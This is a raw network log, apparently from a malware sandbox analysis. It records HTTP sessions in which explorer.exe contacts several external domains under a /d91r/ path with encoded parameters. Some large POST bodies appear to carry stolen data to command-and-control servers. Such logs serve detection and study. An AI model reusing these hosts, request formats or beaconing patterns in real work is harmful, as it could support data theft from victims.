Mar 20, 2023 15:23:58.577455997 CET	1303	OUT	Data Raw: 37 37 52 71 39 77 64 4e 33 76 46 34 68 72 73 66 63 45 5a 61 30 53 58 2d 74 6b 38 44 73 6b 76 6d 62 35 38 6e 41 54 39 78 32 6a 49 6b 51 6c 6f 70 4c 39 51 6e 6f 68 41 56 56 67 72 46 48 57 71 73 62 75 41 79 5a 61 74 77 51 69 55 47 74 43 53 42 44 2d Data Ascii: 77Rq9wdN3vF4hrsfcEZa0SX-tk8Dskvmb58nAT9x2jIkQlopL9QnohAVVgrFHWqsbuAyZatwQiUGtCSBD-LwQtvk6aTd6uTptSVDsOgFrwHa3HK559S97VelQFNcYuVJ~wicWoChiMHbRfgGEmT1cIDbUoodgDI_cRn1uB06v8ZbkmiA0_T0zbSW9ns90kI1Xh98vIeLosxK0PwCGMeXuOjxUxd5Z33pwlf-RngKpK6WvbS2Alr
Mar 20, 2023 15:23:58.583688974 CET	1303	IN	HTTP/1.1 302 Found cache-control: max-age=0, private, must-revalidate connection: close content-length: 11 date: Mon, 20 Mar 2023 14:23:58 GMT location: http://survey-smiles.com server: nginx set-cookie: sid=da706a00-c72a-11ed-9032-5bbe84dd29d0; path=/; domain=.brightfms.com; expires=Sat, 07 Apr 2091 17:38:05 GMT; max-age=2147483647; HttpOnly Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 Data Ascii: Redirecting
Mar 20, 2023 15:23:58.589432001 CET	1306	OUT	Data Raw: 74 6e 35 55 59 59 47 65 4c 71 54 53 64 33 6a 53 6c 51 77 48 59 51 36 4e 4a 6f 4d 4a 72 6e 5a 63 41 75 52 4e 4f 6f 49 63 48 63 70 31 6b 53 77 69 6f 6b 74 31 42 36 39 56 78 47 4d 5a 57 74 71 41 32 79 47 50 49 4f 44 32 4c 49 48 54 36 76 4e 6a 7e 62 Data Ascii: tn5UYYGeLqTSd3jSlQwHYQ6NJoMJrnZcAuRNOoIcHcp1kSwiokt1B69VxGMZWtqA2yGPIOD2LIHT6vNj~bqXyerj5HH6HBkGCAgcFFJ-wQm4KFSkB0advE8D8JEVDewqjSjfKLcyKrdlWiyfMpNetbVd9NmJMsvxslYE70WApc9ZlZ0Q23~8BZnPJ5QKVJTY7BpF1IggPEmRVuk3F2F7OIYi~pMohtWC8mX5eLXGC7xyMy1PA6k
Mar 20, 2023 15:23:58.589601040 CET	1309	OUT	Data Raw: 34 44 46 5a 75 76 4e 54 4f 75 42 2d 7e 4b 52 50 4e 38 34 35 39 55 72 77 59 4b 70 57 39 45 63 6a 6f 68 32 77 46 35 33 74 72 32 52 6a 39 53 79 62 79 70 50 4f 4d 49 61 50 48 4f 6d 6a 78 53 34 47 4c 43 6a 39 57 35 55 50 63 4d 6f 59 55 78 4e 55 51 4a Data Ascii: 4DFZuvNTOuB-~KRPN8459UrwYKpW9Ecjoh2wF53tr2Rj9SybypPOMIaPHOmjxS4GLCj9W5UPcMoYUxNUQJ85yYnieZqrLq1sza2AIBD8aqp_GB0UYZ(rGcX2NyvYZu(i2fNld_3LiqsjFxizruWmKv5o1P(jAZXzwdiOGfXPuc0cmkWqNgP1kv0AtJlKKIIGyNGs0emgJdt7kAh6TOb5c58cPzHf33tRBKDfCqNDL11Ax-mViyL
Mar 20, 2023 15:23:58.589812994 CET	1317	OUT	Data Raw: 4c 4f 64 59 73 36 39 65 44 7a 43 73 62 52 7e 68 46 31 61 53 48 70 65 43 33 2d 4e 49 70 76 69 31 65 49 66 36 4b 4d 68 62 56 4c 63 4a 6d 31 32 30 79 59 69 4c 6c 5f 62 74 51 62 64 76 61 35 65 43 56 6b 7e 72 51 4f 47 65 35 44 65 42 68 32 34 4c 73 6a Data Ascii: LOdYs69eDzCsbR~hF1aSHpeC3-NIpvi1eIf6KMhbVLcJm120yYiLl_btQbdva5eCVk~rQOGe5DeBh24Lsj8d23YGhIoQ6N5P7v653kAcTdjTEzwtLoj8tbsTReDBAmBlc3nRtOVuTgq0KWeEotDQosCA07(IKR7QbVaXb-1HnmZeA96ureEYm6Q3OyY91UZCMNvQAbaOo2vaerL3XJWvYSKjc6jWadSXFbn47RgD44JgF8F5Anv

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.11.20	49905	81.17.18.196	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:24:01.094353914 CET	1318	OUT	GET /d91r/?pO=BFqfPYQ6Rc2mbekoZnhhN28rIM4KcYUdKeGPb5qgdPRiCoEueOOZiURhvdwkEmvoJvWE5RZiBCNwm7zhRu2A+WCDMptVnP5c5Q==&8H7gL=Bxcfm_qbbEGm HTTP/1.1 Host: www.brightfms.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Mar 20, 2023 15:24:01.114147902 CET	1319	IN	HTTP/1.1 200 OK accept-ch: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile cache-control: max-age=0, private, must-revalidate connection: close content-length: 610 content-type: text/html; charset=utf-8 date: Mon, 20 Mar 2023 14:24:00 GMT server: nginx set-cookie: sid=dbf26b30-c72a-11ed-9626-5bbeaa3e97a6; path=/; domain=.brightfms.com; expires=Sat, 07 Apr 2091 17:38:08 GMT; max-age=2147483647; HttpOnly Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4c 6f 61 64 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 62 72 69 67 68 74 66 6d 73 2e 63 6f 6d 2f 64 39 31 72 2f 3f 38 48 37 67 4c 3d 42 78 63 66 6d 5f 71 62 62 45 47 6d 26 63 68 3d 31 26 6a 73 3d 65 79 4a 68 62 47 63 69 4f 69 4a 49 55 7a 49 31 4e 69 49 73 49 6e 52 35 63 43 49 36 49 6b 70 58 56 43 4a 39 2e 65 79 4a 68 64 57 51 69 4f 69 4a 4b 62 32 74 6c 62 69 49 73 49 6d 56 34 63 43 49 36 4d 54 59 33 4f 54 4d 79 4f 54 51 30 4d 53 77 69 61 57 46 30 49 6a 6f 78 4e 6a 63 35 4d 7a 49 79 4d 6a 51 78 4c 43 4a 70 63 33 4d 69 4f 69 4a 4b 62 32 74 6c 62 69 49 73 49 6d 70 7a 49 6a 6f 78 4c 43 4a 71 64 47 6b 69 4f 69 49 79 64 44 63 79 5a 47 4a 70 59 32 56 30 64 6d 4a 68 5a 6e 49 33 4f 58 4d 77 4f 54 46 78 61 57 49 69 4c 43 4a 75 59 6d 59 69 4f 6a 45 32 4e 7a 6b 7a 4d 6a 49 79 4e 44 45 73 49 6e 52 7a 49 6a 6f 78 4e 6a 63 35 4d 7a 49 79 4d 6a 51 78 4d 54 41 30 4e 7a 67 35 66 51 2e 56 32 75 42 56 65 50 6c 61 67 45 62 34 56 56 5a 37 73 57 43 49 79 38 4f 31 62 32 58 38 35 66 41 7a 61 5a 56 4d 38 57 6e 35 67 6b 26 70 4f 3d 42 46 71 66 50 59 51 36 52 63 32 6d 62 65 6b 6f 5a 6e 68 68 4e 32 38 72 49 4d 34 4b 63 59 55 64 4b 65 47 50 62 35 71 67 64 50 52 69 43 6f 45 75 65 4f 4f 5a 69 55 52 68 76 64 77 6b 45 6d 76 6f 4a 76 57 45 35 52 5a 69 42 43 4e 77 6d 37 7a 68 52 75 32 41 2b 57 43 44 4d 70 74 56 6e 50 35 63 35 51 25 33 44 25 33 44 26 73 69 64 3d 64 62 66 32 36 62 33 30 2d 63 37 32 61 2d 31 31 65 64 2d 39 36 32 36 2d 35 62 62 65 61 61 33 65 39 37 61 36 27 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Loading...</title></head><body><script type='text/javascript'>window.location.replace('http://www.brightfms.com/d91r/?8H7gL=Bxcfm_qbbEGm&ch=1&js=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJKb2tlbiIsImV4cCI6MTY3OTMyOTQ0MSwiaWF0IjoxNjc5MzIyMjQxLCJpc3MiOiJKb2tlbiIsImpzIjoxLCJqdGkiOiIydDcyZGJpY2V0dmJhZnI3OXMwOTFxaWIiLCJuYmYiOjE2NzkzMjIyNDEsInRzIjoxNjc5MzIyMjQxMTA0Nzg5fQ.V2uBVePlagEb4VVZ7sWCIy8O1b2X85fAzaZVM8Wn5gk&pO=BFqfPYQ6Rc2mbekoZnhhN28rIM4KcYUdKeGPb5qgdPRiCoEueOOZiURhvdwkEmvoJvWE5RZiBCNwm7zhRu2A+WCDMptVnP5c5Q%3D%3D&sid=dbf26b30-c72a-11ed-9626-5bbeaa3e97a6');</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.11.20	49847	45.56.79.23	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:19:42.189907074 CET	577	OUT	GET /d91r/?pO=xFjwo0xAzcGZMdvEtWe8dg3SOJilBZCwp4DaoNJ0mT1+16DKJdlGz7oyHXjYsyYKd34SXU2gi60PXCcIQ24pa/hNG6+rBSLNTw==&8H7gL=Bxcfm_qbbEGm HTTP/1.1 Host: www.cardinialethanol.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Mar 20, 2023 15:19:42.324671984 CET	577	IN	HTTP/1.1 404 Not Found server: openresty/1.13.6.1 date: Mon, 20 Mar 2023 14:19:42 GMT content-type: text/html content-length: 175 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 33 2e 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>openresty/1.13.6.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.11.20	49906	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:24:06.346991062 CET	1320	OUT	POST /d91r/ HTTP/1.1 Host: www.eta-trader.net Connection: close Content-Length: 184 Cache-Control: no-cache Origin: http://www.eta-trader.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.eta-trader.net/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 73 4d 48 73 49 45 7a 59 4a 4c 39 4a 37 62 57 75 43 46 42 47 4b 39 41 79 46 57 65 74 38 35 4a 4c 44 70 48 50 59 50 70 50 61 4a 41 5a 78 75 6a 45 66 34 47 34 6d 75 63 78 74 78 53 79 63 49 68 65 32 69 58 31 39 33 64 71 63 53 28 6b 53 63 76 72 65 4f 54 4f 79 56 4c 57 6f 51 75 58 32 5a 57 61 4d 6d 6b 58 6e 61 36 79 35 4c 56 55 58 6c 48 4c 54 64 36 64 64 75 69 65 7a 36 4a 6e 53 37 6c 42 4b 71 76 33 56 47 62 65 49 34 45 32 6a 72 33 6f 68 32 48 77 49 7a 51 6f 72 48 48 6e 6b 42 6b 63 65 2d 31 51 36 65 31 6b 66 5a 43 33 76 57 55 63 52 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=sMHsIEzYJL9J7bWuCFBGK9AyFWet85JLDpHPYPpPaJAZxujEf4G4mucxtxSycIhe2iX193dqcS(kScvreOTOyVLWoQuX2ZWaMmkXna6y5LVUXlHLTd6dduiez6JnS7lBKqv3VGbeI4E2jr3oh2HwIzQorHHnkBkce-1Q6e1kfZC3vWUcRg).
Mar 20, 2023 15:24:06.377454042 CET	1321	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 20 Mar 2023 14:24:06 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.11.20	49907	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:24:08.905975103 CET	1322	OUT	POST /d91r/ HTTP/1.1 Host: www.eta-trader.net Connection: close Content-Length: 524 Cache-Control: no-cache Origin: http://www.eta-trader.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.eta-trader.net/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 73 4d 48 73 49 45 7a 59 4a 4c 39 4a 37 37 47 75 42 6a 4a 47 49 64 41 78 4b 32 65 74 6d 4a 4a 48 44 70 62 50 59 4f 64 66 5a 37 6b 5a 6f 50 54 45 59 36 69 34 68 75 63 78 6e 52 53 33 59 49 68 56 32 69 4c 4d 39 32 68 71 63 53 72 6b 49 4f 6e 72 61 4f 54 42 39 31 4c 56 28 67 75 55 67 70 58 56 4d 6d 35 32 6e 59 47 79 35 5f 6c 55 4e 6e 76 4c 5a 70 4f 65 4b 2d 69 59 31 36 4a 6d 59 62 6c 44 4b 71 6a 46 56 48 7a 6f 49 4c 59 32 6a 4b 58 6f 7a 32 48 7a 48 7a 51 76 70 48 47 53 67 42 4a 67 62 5a 68 30 75 5f 68 66 62 62 62 56 75 55 35 72 4c 79 67 7a 65 37 48 6d 6e 72 33 32 62 4e 31 56 43 59 72 46 4e 54 58 33 45 4a 76 4a 37 6d 53 6a 73 69 68 66 79 35 45 32 6c 48 74 39 6f 39 7e 2d 79 46 39 46 6d 61 57 57 58 74 55 32 54 77 6d 30 30 73 64 2d 6e 6d 77 74 53 6b 4e 4c 42 59 4b 58 42 68 75 38 6c 67 6f 58 43 6b 63 68 71 49 65 64 7e 79 38 64 55 79 4d 7a 55 54 5a 59 36 42 74 57 6a 67 4e 39 7a 68 48 42 51 48 6c 31 4d 37 71 5a 32 50 69 35 74 38 34 39 42 44 49 63 6f 37 45 4f 53 4a 43 37 74 36 6b 73 71 76 35 6b 74 72 4b 74 5a 63 57 54 4f 4b 62 36 6d 66 70 38 75 69 78 42 7e 4d 32 55 56 4f 53 69 78 2d 28 39 74 4b 67 6a 6e 36 35 30 59 63 55 77 6a 4c 48 52 31 50 7e 30 47 4e 33 4a 32 57 76 72 6c 54 65 6c 64 4f 41 43 4f 32 70 38 4a 4e 67 6c 42 62 35 31 5a 46 39 55 57 78 59 34 69 67 49 47 61 31 4b 72 5a 69 51 76 61 46 38 6b 72 76 4b 71 63 76 68 39 38 32 42 48 37 36 43 2d 75 4e 6e 51 6b 64 5a 44 4d 36 77 2d 54 78 77 4b 42 65 6c 4a 50 6d 54 62 7e 69 71 69 48 6b 78 65 7e 44 6b 7a 43 76 66 66 49 69 78 42 67 6d 7e 75 6d 69 64 74 6e 48 68 55 6f 4a 66 74 53 4a 76 49 33 62 55 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=sMHsIEzYJL9J77GuBjJGIdAxK2etmJJHDpbPYOdfZ7kZoPTEY6i4hucxnRS3YIhV2iLM92hqcSrkIOnraOTB91LV(guUgpXVMm52nYGy5_lUNnvLZpOeK-iY16JmYblDKqjFVHzoILY2jKXoz2HzHzQvpHGSgBJgbZh0u_hfbbbVuU5rLygze7Hmnr32bN1VCYrFNTX3EJvJ7mSjsihfy5E2lHt9o9~-yF9FmaWWXtU2Twm00sd-nmwtSkNLBYKXBhu8lgoXCkchqIed~y8dUyMzUTZY6BtWjgN9zhHBQHl1M7qZ2Pi5t849BDIco7EOSJC7t6ksqv5ktrKtZcWTOKb6mfp8uixB~M2UVOSix-(9tKgjn650YcUwjLHR1P~0GN3J2WvrlTeldOACO2p8JNglBb51ZF9UWxY4igIGa1KrZiQvaF8krvKqcvh982BH76C-uNnQkdZDM6w-TxwKBelJPmTb~iqiHkxe~DkzCvffIixBgm~umidtnHhUoJftSJvI3bU.
Mar 20, 2023 15:24:08.944173098 CET	1322	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 20 Mar 2023 14:24:08 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.11.20	49908	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:24:11.454138041 CET	1328	OUT	POST /d91r/ HTTP/1.1 Host: www.eta-trader.net Connection: close Content-Length: 51812 Cache-Control: no-cache Origin: http://www.eta-trader.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.eta-trader.net/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 73 4d 48 73 49 45 7a 59 4a 4c 39 4a 37 37 47 75 42 6a 4a 47 49 64 41 78 4b 32 65 74 6d 4a 4a 48 44 70 62 50 59 4f 64 66 5a 37 73 5a 6f 64 72 45 59 61 65 34 67 75 63 78 72 78 53 32 59 49 68 79 32 69 44 49 39 32 74 36 63 52 54 6b 52 39 66 72 61 34 28 42 32 56 4c 51 78 41 75 57 32 5a 58 42 4d 6d 6c 69 6e 59 53 49 35 4c 74 55 58 6b 33 4c 64 59 4f 64 53 2d 69 65 31 36 49 6e 50 4c 6c 78 4b 70 50 56 56 48 76 6f 49 49 73 32 6a 35 28 6f 67 42 7a 7a 42 6a 51 73 38 58 47 6e 79 42 49 59 62 59 42 4f 75 5f 68 50 62 5a 72 56 75 58 42 72 4d 31 30 77 65 62 48 6d 6f 37 33 35 4a 39 35 52 43 59 6e 6e 4e 53 54 33 45 4f 62 4a 36 47 53 6a 7e 58 4e 63 78 5a 45 77 75 6e 74 75 35 74 79 6d 79 47 42 33 6d 59 61 57 58 5a 38 32 42 54 7e 30 37 70 68 2d 6c 47 77 76 63 45 4d 58 57 49 4b 31 42 67 66 64 6c 67 4a 69 43 6a 6b 68 34 35 7e 64 37 51 55 65 64 79 4d 31 52 54 5a 57 7e 42 52 61 6a 6a 31 62 7a 68 48 52 51 46 4a 31 4e 49 69 5a 6b 2d 69 2d 67 4d 34 6d 4d 6a 49 4a 6d 62 41 45 53 4a 76 32 74 37 63 46 71 73 56 6b 76 4c 4b 74 54 66 4f 63 41 36 62 68 7e 76 70 55 68 43 78 61 7e 4d 71 79 56 50 6d 55 32 50 44 39 72 36 77 6a 77 61 35 33 64 38 55 38 30 62 48 62 69 5f 7e 30 47 4e 4c 7a 32 57 72 72 6b 6e 53 6c 63 38 59 43 4c 6c 52 38 45 74 67 38 42 62 35 6b 5a 46 68 5a 57 79 35 70 69 67 35 6a 61 33 6d 72 5a 7a 41 76 57 6e 59 6e 67 5f 4b 7a 59 76 68 71 6a 47 4d 48 37 36 4f 6d 75 4e 33 6d 6c 76 4e 44 4c 36 67 2d 45 52 77 56 4c 65 6b 42 4f 6d 53 61 36 69 6d 75 48 6e 46 67 7e 43 52 6f 43 6f 62 66 4c 6a 77 33 30 33 6d 4e 30 54 39 37 37 79 4e 66 30 62 50 6c 47 35 32 4a 74 74 5a 76 4d 66 36 77 43 65 36 62 55 39 59 43 33 6d 6a 46 4f 68 4f 46 74 64 39 78 56 6e 69 42 4b 64 79 48 72 53 57 43 79 64 6f 45 57 73 57 48 34 69 74 76 71 2d 61 68 58 5f 28 61 55 53 32 34 7e 43 36 77 55 4b 62 79 59 74 43 48 6a 6b 61 53 63 5a 42 31 62 6c 38 76 31 46 38 45 64 4a 72 63 7e 6f 42 6b 58 74 28 75 59 57 72 56 78 67 59 6c 31 32 32 5a 62 44 55 5a 4c 74 4e 75 77 71 43 42 56 76 34 45 57 33 64 78 4c 44 43 38 4d 55 55 32 64 64 63 75 7a 65 4a 75 46 6a 69 5f 6b 6b 39 69 47 34 68 71 6d 70 78 5f 79 74 69 53 44 5a 57 49 69 5f 6f 7a 55 34 44 5a 33 37 58 46 73 4c 5a 42 68 4f 49 75 46 6a 6a 30 63 75 31 5f 32 38 50 32 51 30 28 4d 51 53 66 54 6c 77 63 4d 56 66 28 32 6c 4f 6f 7a 66 42 65 7a 72 37 50 2d 46 57 6e 70 65 63 32 5a 59 70 51 75 4f 78 6a 6d 74 78 64 32 52 75 35 62 63 38 45 42 35 32 43 34 53 4f 57 75 56 75 55 64 42 6d 6b 36 36 6d 75 43 58 71 6d 6a 61 55 6a 72 42 54 4f 49 28 49 4f 50 77 66 61 68 6f 66 5a 59 6f 4a 52 37 58 2d 58 70 53 65 6a 77 77 41 5a 62 37 76 41 57 79 33 71 58 51 65 55 41 36 73 33 68 61 6f 66 6d 77 4d 6c 31 71 6f 6f 41 70 6d 74 6e 59 37 56 47 53 34 41 4c 38 72 7e 7a 34 6e 4e 37 43 4f 57 32 42 45 6d 64 42 7a 32 42 6b 67 72 38 5a 31 4c 4d 33 55 31 34 74 4b 7a 47 5a 30 41 4e 61 2d 49 5f 52 4e 4e 74 6c 6a 79 77 70 4f 54 47 72 63 64 67 67 6d 78 51 43 66 43 67 7a 54 43 44 30 5a 72 76 4d 4f 58 73 48 6c 69 4f 58 37 71 50 4c 57 48 76 48 30 6b 44 50 41 59 59 58 4e 44 72 74 42 70 74 79 48 44 30 66 39 33 35 5a 32 64 39 4b 65 79 68 4f 6c 4c 63 6a 74 6e 35 28 72 6b 43 67 34 48 44 4d 66 35 62 38 39 39 7a 75 79 38 78 52 74 74 79 6e 4a 46 44 6b 52 4f 78 72 50 57 30 69 51 57 61 45 67 4e 75 61 65 42 48 56 68 31 61 6e 4a 6c 53 4a 47 32 48 35 64 78 62 39 5a 59 4b 56 78 44 4a 33 59 69 62 42 45 6a 47 6d 47 68 73 4a 2d 34 41 76 33 75 36 59 75 38 6d 28 42 4d 6b 57 5f 66 54 64 54 5a 75 4e 57 70 4a 4f 54 4d 4b 67 30 36 4f 72 47 28 6e 4f 52 50 72 71 65 34 72 62 41 72 38 46 70 66 56 28 6d 74 76 68 50 73 65 6f 6b 7a 51 79 36 7e 55 56 38 72 4b 6f 2d 53 54 71 6b 54 68 79 31 74 66 44 64 63 51 6b 49 33 48 4f 44 72 55 43 4a 69 69 6d 61 75 39 6e 31 35 53 74 55 53 47 65 62 4e 4d 45 49 44 46 65 70 74 49 75 63 76 39 5a 49 73 6b 6c 67 63 76 39 68 50 76 4d 58 4c 33 4d 66 4e 72 54 55 61 7a 62 78 50 74 36 7a 35 67 28 53 48 78 62 51 5a 59 73 4a 54 54 75 37 63 7a 6f 50 43 30 5a 34 74 4f 61 75 53 50 51 50 33 35 7e 6f 50 35 38 36 6e 79 42 5a 75 5f 50 64 7a 47 72 4f 6a 73 4f 7a 57 61 74 58 74 53 4d 62 6a 70 41 68 59 48 65 58 4b 6a 79 70 5a 62 71 56 31 4e 39 4e 6d 77 78 65 62 5f 55 39 64 44 4b 4e 46 45 76 4f 63 37 Data Ascii: pO=sMHsIEzYJL9J77GuBjJGIdAxK2etmJJHDpbPYOdfZ7sZodrEYae4gucxrxS2YIhy2iDI92t6cRTkR9fra4(B2VLQxAuW2ZXBMmlinYSI5LtUXk3LdYOdS-ie16InPLlxKpPVVHvoIIs2j5(ogBzzBjQs8XGnyBIYbYBOu_hPbZrVuXBrM10webHmo735J95RCYnnNST3EObJ6GSj~XNcxZEwuntu5tymyGB3mYaWXZ82BT~07ph-lGwvcEMXWIK1BgfdlgJiCjkh45~d7QUedyM1RTZW~BRajj1bzhHRQFJ1NIiZk-i-gM4mMjIJmbAESJv2t7cFqsVkvLKtTfOcA6bh~vpUhCxa~MqyVPmU2PD9r6wjwa53d8U80bHbi_~0GNLz2WrrknSlc8YCLlR8Etg8Bb5kZFhZWy5pig5ja3mrZzAvWnYng_KzYvhqjGMH76OmuN3mlvNDL6g-ERwVLekBOmSa6imuHnFg~CRoCobfLjw303mN0T977yNf0bPlG52JttZvMf6wCe6bU9YC3mjFOhOFtd9xVniBKdyHrSWCydoEWsWH4itvq-ahX_(aUS24~C6wUKbyYtCHjkaScZB1bl8v1F8EdJrc~oBkXt(uYWrVxgYl122ZbDUZLtNuwqCBVv4EW3dxLDC8MUU2ddcuzeJuFji_kk9iG4hqmpx_ytiSDZWIi_ozU4DZ37XFsLZBhOIuFjj0cu1_28P2Q0(MQSfTlwcMVf(2lOozfBezr7P-FWnpec2ZYpQuOxjmtxd2Ru5bc8EB52C4SOWuVuUdBmk66muCXqmjaUjrBTOI(IOPwfahofZYoJR7X-XpSejwwAZb7vAWy3qXQeUA6s3haofmwMl1qooApmtnY7VGS4AL8r~z4nN7COW2BEmdBz2Bkgr8Z1LM3U14tKzGZ0ANa-I_RNNtljywpOTGrcdggmxQCfCgzTCD0ZrvMOXsHliOX7qPLWHvH0kDPAYYXNDrtBptyHD0f935Z2d9KeyhOlLcjtn5(rkCg4HDMf5b899zuy8xRttynJFDkROxrPW0iQWaEgNuaeBHVh1anJlSJG2H5dxb9ZYKVxDJ3YibBEjGmGhsJ-4Av3u6Yu8m(BMkW_fTdTZuNWpJOTMKg06OrG(nORPrqe4rbAr8FpfV(mtvhPseokzQy6~UV8rKo-STqkThy1tfDdcQkI3HODrUCJiimau9n15StUSGebNMEIDFeptIucv9ZIsklgcv9hPvMXL3MfNrTUazbxPt6z5g(SHxbQZYsJTTu7czoPC0Z4tOauSPQP35~oP586nyBZu_PdzGrOjsOzWatXtSMbjpAhYHeXKjypZbqV1N9Nmwxeb_U9dDKNFEvOc73WzHL_~xh0wI8VyFzN9TfEB6uIG_vuEsWY(7ffeScoFml7DZ8GZve35Y6nwvsSc-tLUmElY_lwnu0nsMKFN2LcDmibJVLRR4mvx3eO~TvfpcOE5rDeCpumM6akQm8YKsZPq73tgq0I80~lrEbMAa3p9nndInCDdmMRp7ZUAFaijaQkkaVjOzD7YWir~f77tC3F0s9_wYEcosn8ygQ-BmudzKaDXFPuTpaKt98SpQTcJefmWHBrsP2tUXHlpnoSJ747yarxpfPX3i1Gu0~HwP8NHypLMBtNv0HJMhw_rmdodxFgl7pmDhTbdJ8fQZH16wx0(VrNFgL3vARQArayVmlhf6W8TzI1pNlO5U0LDkn-T8qvnKx3SAm8KGxEmx9POi499SOFwfnHJ_oVrLgb0g3XOy~TUAANcP944QvKxS61tbSgFNxMIz6nF2Ou3OkV(fEEgNBdsr9gCFfQVDAlyLp2S5z9uOAKxUyYlnoGMIX6SgSTORxio3QVLybQRUmULafPPpwyx2b2NNkTZiU0mKLGD-~ewoA1UMc_JJKkiCkm5-uPEQ5kdcv9Zxna(mfTgyubNmY6vC5qQz3RYH3b5FViOj1wkWRAF3YLok9wwU(Q9LaNia7uGgffKMDdyFUnXMr5OaoDI7a4y-gngYVgjzNQiheVnxfSF47fgJLx0aXkhAwIRRwWnN2grtK6JyTdbplZj8wqMIso4ZgL2XkVT3WAVkh3U4Dw5CGnMUP5~IaJeOQTMp(zgwmzwigeZFcOXzuZQ1KbDnDO70WYm4CwuzxaVmhan42Lw3IUxXiYAUlt8VTTGZpaClSkdaUOf7BFV1zChPMHx4GmhaVbGSX